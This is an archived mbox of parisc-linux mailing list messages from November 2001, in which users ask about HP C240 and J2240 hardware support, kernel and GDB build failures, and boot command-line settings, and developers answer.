iD8DBQE7787yDg+hOeRZtkMRAo4XAJ9cgjN7l7R5BSuHXdhvOFrwuNK5bACdHD5X
W8ZWPmYAIeJ89ujBobXdtC4=
=iQOI
-----END PGP SIGNATURE-----

--r5Pyd7+fXNt84Ff3--



From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <xam@student.cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C240: Graphics, 64bit kernel and more
Date: Mon, 12 Nov 2001 15:25:35 +0000 (GMT)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.OSF.3.96.1011112145357.4562A-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620739 29771 80.91.229.3 (22 Nov 2014 01:45:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 08:25:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49486482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 08:25:17 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by student.cs.ucc.ie (8.9.3/8.9.3) with SMTP id PAA08914
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 15:25:35 GMT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13002

Hello,

I'm going to buy a C240 (I already have a 730 (not here) and had a F10).
It has 512MB and FX/2 24bit graphics. I think it's rather good supported
by parisc-linux, am I right ?

Before I actually buy the computer, I wanted to know whether STI
and/or the framebuffer for a 64bit kernel is working.

Moreover I've read that UW-SCSI is not working yet.
So is it working in FAST-SCSI (narrow) mode ?

Are you aware of any other gcc/binutils bugs or should
gcc/binutils NOW create proper executables for pa2.0 and
pa1.1 (including the old CPUs like 730's PCX-S CPU) ?

does produce gcc rather good optimized code for parisc
(compared to HP's cc, is there a significant performance difference) ?

I can imagine that the Linux/HPPA kernel is not very optimized yet
(can't compare the speed on my 730 with HP/UX since I don't
have the OS software anymore ...). Is the speed difference just a
few percent or can you 'feel' it (mhh, fuzzy question) ?

Can I put in any PC PCI graphic card (as a second graphic card) ?
The same for any PC PCI cards (ethernet, modem, TV, ...) ?

Thanks in advance for answering my (newbie) questions!

I installed Linux/HPPA on my 730 (even before the 0.9.0 release),
but I moved to Ireland and the machine is now in Germany ...
I try to follow the mailing list, but I probably haven't read all
the mails, so forgive me if I asked questions already discussed
on the mailing list.

Greetings Max

... and keep on the good work





From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: [parisc-linux] C240: Graphics, 64bit kernel and more
Date: Mon, 12 Nov 2001 16:31:31 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <sbeffb9d.022@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620739 29775 80.91.229.3 (22 Nov 2014 01:45:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:39 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>, <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 08:44:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4764A482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 08:44:43 -0700 (MST)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id QAA16845 for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 16:44:40 +0100 (MET)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma016541; Mon, 12 Nov 01 16:43:03 +0100
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Mon, 12 Nov 2001 16:41:01 +0100
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13003

>Hello,
>
>I'm going to buy a C240 (I already have a 730 (not here) and had a F10).
>It has 512MB and FX/2 24bit graphics. I think it's rather good supported
>by parisc-linux, am I right ?

yup.

>
>Before I actually buy the computer, I wanted to know whether STI
>and/or the framebuffer for a 64bit kernel is working.

sti is just working, IIRC

>
>Moreover I've read that UW-SCSI is not working yet.
>So is it working in FAST-SCSI (narrow) mode ?

there's nothing wrong with the UW-SCSI to my knowledge.

>
>Are you aware of any other gcc/binutils bugs or should
>gcc/binutils NOW create proper executables for pa2.0 and
>pa1.1 (including the old CPUs like 730's PCX-S CPU) ?

There are still bugs.

>
>does produce gcc rather good optimized code for parisc
>(compared to HP's cc, is there a significant performance difference) ?

in general, comparing gcc to a manufacturers compiler; there is
such a difference.

>
>I can imagine that the Linux/HPPA kernel is not very optimized yet
>(can't compare the speed on my 730 with HP/UX since I don't
>have the OS software anymore ...). Is the speed difference just a
>few percent or can you 'feel' it (mhh, fuzzy question) ?
>
I can only say that compiling a kernel on my C200 takes about 2 times
as long as on my alpha (21164, 500 Mhz, 2 Mb cache). I feel it should
be faster.

Good luck,
Jurriaan




From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Current kernel from CVS does not build.
Date: Mon, 12 Nov 2001 09:34:58 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <200111121634.JAA24960@puffin.external.hp.com>
References: <vze26vn8@verizon.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620739 29779 80.91.229.3 (22 Nov 2014 01:45:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: raffo@neuronet.pitt.edu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 09:39:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9BC8482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 09:39:16 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA24960;
	Mon, 12 Nov 2001 09:34:58 -0700
In-Reply-To: Message from Rafael Herrera <vze26vn8@verizon.net> 
   of "Sun, 11 Nov 2001 20:40:44 EST." <3BEF289C.1020205@verizon.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13004

Rafael Herrera wrote:
> I tried to update the sources with the latest CVS version, but the 
> compilation failed. The file */arch/parisc/kernel/pdc_cons.c and 
> */kernel/printk.c have a conflict. The variable log_size used in 
> pdc_cons.c is not defined in printk.c. The kernel does not build.

The merge to 2.4.14 isn't finished yet.
Despite working around the log_size issue, it still doesn't boot.

Watch the parisc-linux-cvs mailing list for progress on this.
We'll probably post an "It works" msg here too.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253



From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C240: Graphics, 64bit kernel and more
Date: Mon, 12 Nov 2001 10:07:45 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <200111121707.KAA25028@puffin.external.hp.com>
References: <xam@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620739 29798 80.91.229.3 (22 Nov 2014 01:45:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 10:12:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EFEF482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 10:12:29 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA25028;
	Mon, 12 Nov 2001 10:07:45 -0700
In-Reply-To: Message from Markus Grabert <xam@student.cs.ucc.ie> 
   of "Mon, 12 Nov 2001 15:25:35 GMT." <Pine.OSF.3.96.1011112145357.4562A-100000@student.cs.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13005

Markus Grabert wrote:
> Before I actually buy the computer, I wanted to know whether STI
> and/or the framebuffer for a 64bit kernel is working.

I'm sure it's working on 32-bit kernels and you can run 32-bit
kernels on the C240. Unless you have specific reason to run a 64-bit
kernel, I'd reccomend running a 32-bit kernel. Follow the discussion
about C200 since the C240 is *mostly* the same.

> Moreover I've read that UW-SCSI is not working yet.
> So is it working in FAST-SCSI (narrow) mode ?

A500/BCJ-XXXX machines only have UW-SCSI or U2-SCSI.
It works fine.

> Are you aware of any other gcc/binutils bugs or should
> gcc/binutils NOW create proper executables for pa2.0 and
> pa1.1 (including the old CPUs like 730's PCX-S CPU) ?

Yes - should work fine. Note one can build 32-bit PA2.0 binaries.
The scheduling and insns are optimized for PA2.0 CPU but will
run in "narrow" mode.

> does produce gcc rather good optimized code for parisc
> (compared to HP's cc, is there a significant performance difference) ?

Not as good. On avg, acc produces 10-15% faster code and can generate
the object file substantially faster. This is froma talk 1.5 years ago
given at High Performance Computer Users Group in San Jose by the
HP compiler guru on optimizing apps with acc. He was comparing SpecInt
and SpecFP results.

> I can imagine that the Linux/HPPA kernel is not very optimized yet
> (can't compare the speed on my 730 with HP/UX since I don't
> have the OS software anymore ...). Is the speed difference just a
> few percent or can you 'feel' it (mhh, fuzzy question) ?

Some initial tests I've seen so far place performance between almost
equal to as much as 3x slower (measuring SSL transactions). Until
someone gets a profiler working (oprofile?) I won't really be able
to fix this kind of problem. I just don't have time to go trolling
through all the code.

> Can I put in any PC PCI graphic card (as a second graphic card) ?

Yes. But don't expect VGA or anything that requires BIOS to work.
Alan Cox posted how to make VGA/BIOS work here nearly 2 years ago
and I don't think it's been implement by anyone though.

> The same for any PC PCI cards (ethernet, modem, TV, ...) ?

Ditto. Watch out for misaligned accesses and don't expect
anyone to have tried this already.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253



From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Griffin, Aubrey, BMCIO" <aubreygriffin@att.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem compiling GDB
Date: Mon, 12 Nov 2001 17:16:37 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <5360C45FAB301541AEB3C6A45A6B6A0270684F@ocst09.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620740 29804 80.91.229.3 (22 Nov 2014 01:45:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:40 +0000 (UTC)
To: "'Parisc-linux Mailing List'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 15:18:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from almso1.proxy.att.com (almso1.att.com [192.128.167.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4922482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 15:18:09 -0700 (MST)
Original-Received: from gab200r1.ems.att.com ([135.37.94.32])
	by almso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id fACMHxC29861
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 17:17:59 -0500 (EST)
Original-Received: from flf960bh1.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
	id RAA02861; Mon, 12 Nov 2001 17:18:26 -0500 (EST)
Original-Received: by flf960bh1.ems.att.com with Internet Mail Service (5.5.2653.19)
	id <WQW82X64>; Mon, 12 Nov 2001 17:17:59 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13006

All,

I am trying to compile GDB.

I downloaded gdb-20011024 from http://ftp.parisc-linux.org/cvs/

The compilation of gdb failed. There is an undefined constant PT_CR30. This
is used in
gdb/pa-linux-nat.c and gdb/gdb/gdbserver/low-linux.c.

Some PT_ constants are defined in /usr/include/asm/offset.h, but not
PT_CR30.

Should this gdb bundle compile?

Is there another gdb package that compiles on this platform?

All help is appreciated.

Thanks in advance,
Aubrey Griffin



From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <lansing@beldar.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost There...
Date: Mon, 12 Nov 2001 19:07:35 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <004401c16bd7$33ae82e0$0101a8c0@pogo>
References: <3BEF3746.FB93DC1@beldar.com> <20011112070306.B14600@alpha.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620740 29805 80.91.229.3 (22 Nov 2014 01:45:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:40 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <thunder7@xs4all.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 16:57:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beldar.com (ns.beldar.com [65.163.106.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D701482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 16:57:15 -0700 (MST)
Original-Received: from pogo (dhcp-148.beldar.com [65.163.106.148])
	by beldar.com (8.9.3/8.9.3) with SMTP id TAA80615;
	Mon, 12 Nov 2001 19:12:41 -0500 (EST)
	(envelope-from lansing@beldar.com)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13007

Today, I rescued a 700/96 and cable from the trash so I'm going to try to
use it as a serial console to see how far I get.  It's amazing the "junk"
that shows up in the trash when your HP shop gets bought out by an IBM shop.
Anybody need a few K580x4's, 4GB RAM, and a couple of fully loaded AutoRaid
cabinets each?  In the meantime, how do I change the "Command Line" at boot?
Do I have to "interact" with IPL (almost as bad as having to interact with
people :-) ?

----- Original Message -----
From: Jurriaan on Alpha <thunder7@xs4all.nl>
To: Craig D. Lansing (root) <lansing@beldar.com>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Monday, November 12, 2001 1:03 AM
Subject: Re: [parisc-linux] J2240 - Almost There...


> On Sun, Nov 11, 2001 at 09:43:18PM -0500, Craig D. Lansing (root) wrote:
> > After using my CD burner to create several nice coasters, I have been
> > able to create a couple of CD's from which my J2240 will attempt to
> > boot.  I think that I am almost there, but need someone to show me the
> > error of my ways.  Disclaimer: I am not a System Admin by trade.  I have
> > been an HP-UX user since about version 7, but have not had a box of my
> > own to play with until I pulled this J2240 from the trash.  The system
> > is a J2240 2-way, 2.5GB RAM, 2x8GB internal FW-SCSI Disks, DDS-III,
> > internal Toshiba SCSI CD-ROM, 21" graphics console.
>
> We know the story. Now don't mention it again, because we'll go green
> with envy and look elsewhere :-)
>
> > Command Line: 'root=/dev/ram console=tty0 sti=0 sti_font=VGA8x16
> > TERM=linux'
> >
> Shouldn't that be ttyS0 for the console?
>
> Good luck,
> Jurriaan
> --
> Go not unto the Usenet for advice, for you will be told both yea and nay
(and
> quite a few things that just have nothing at all to do with the question).
> seen in a .sig somewhere
> GNU/Linux 2.4.13-ac8 on Debian/Alpha 64-bits 990 bogomips load:1.33 1.47
1.20
>




From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost There...
Date: Tue, 13 Nov 2001 00:04:10 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20011113000410.A15323@parcelfarce.linux.theplanet.co.uk>
References: <3BEF3746.FB93DC1@beldar.com> <20011112070306.B14600@alpha.of.nowhere> <004401c16bd7$33ae82e0$0101a8c0@pogo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620740 29809 80.91.229.3 (22 Nov 2014 01:45:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:40 +0000 (UTC)
Cc: thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <lansing@beldar.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 17:04:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 327E8482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 17:04:13 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 163R3i-0004iM-00; Tue, 13 Nov 2001 00:04:10 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <004401c16bd7$33ae82e0$0101a8c0@pogo>; from lansing@beldar.com on Mon, Nov 12, 2001 at 07:07:35PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13008

On Mon, Nov 12, 2001 at 07:07:35PM -0500, Craig D. Lansing wrote:
> Today, I rescued a 700/96 and cable from the trash so I'm going to try to
> use it as a serial console to see how far I get.  It's amazing the "junk"
> that shows up in the trash when your HP shop gets bought out by an IBM shop.
> Anybody need a few K580x4's, 4GB RAM, and a couple of fully loaded AutoRaid
> cabinets each?  In the meantime, how do I change the "Command Line" at boot?
> Do I have to "interact" with IPL (almost as bad as having to interact with
> people :-) ?

The K580s are definitely of interest...

Yes, interacting with IPL (or ISL on some models) is how you change
the command line params; you get a nifty little menu and can edit the
arguments.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost There...
Date: Mon, 12 Nov 2001 19:11:29 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200111130011.fAD0BTBH023716@hiauly1.hia.nrc.ca>
References: <004401c16bd7$33ae82e0$0101a8c0@pogo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620741 29811 80.91.229.3 (22 Nov 2014 01:45:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:41 +0000 (UTC)
Cc: thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org
To: lansing@beldar.com (Craig D. Lansing)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 17:11:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34F05482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 17:11:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id fAD0BU7c023717;
	Mon, 12 Nov 2001 19:11:30 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id fAD0BTBH023716;
	Mon, 12 Nov 2001 19:11:29 -0500 (EST)
In-Reply-To: <004401c16bd7$33ae82e0$0101a8c0@pogo> from "Craig D. Lansing" at Nov 12, 2001 07:07:35 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13009

> Today, I rescued a 700/96 and cable from the trash so I'm going to try to
> use it as a serial console to see how far I get.  It's amazing the "junk"
> that shows up in the trash when your HP shop gets bought out by an IBM shop.
> Anybody need a few K580x4's, 4GB RAM, and a couple of fully loaded AutoRaid
> cabinets each?  In the meantime, how do I change the "Command Line" at boot?

Where do I send the truck!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
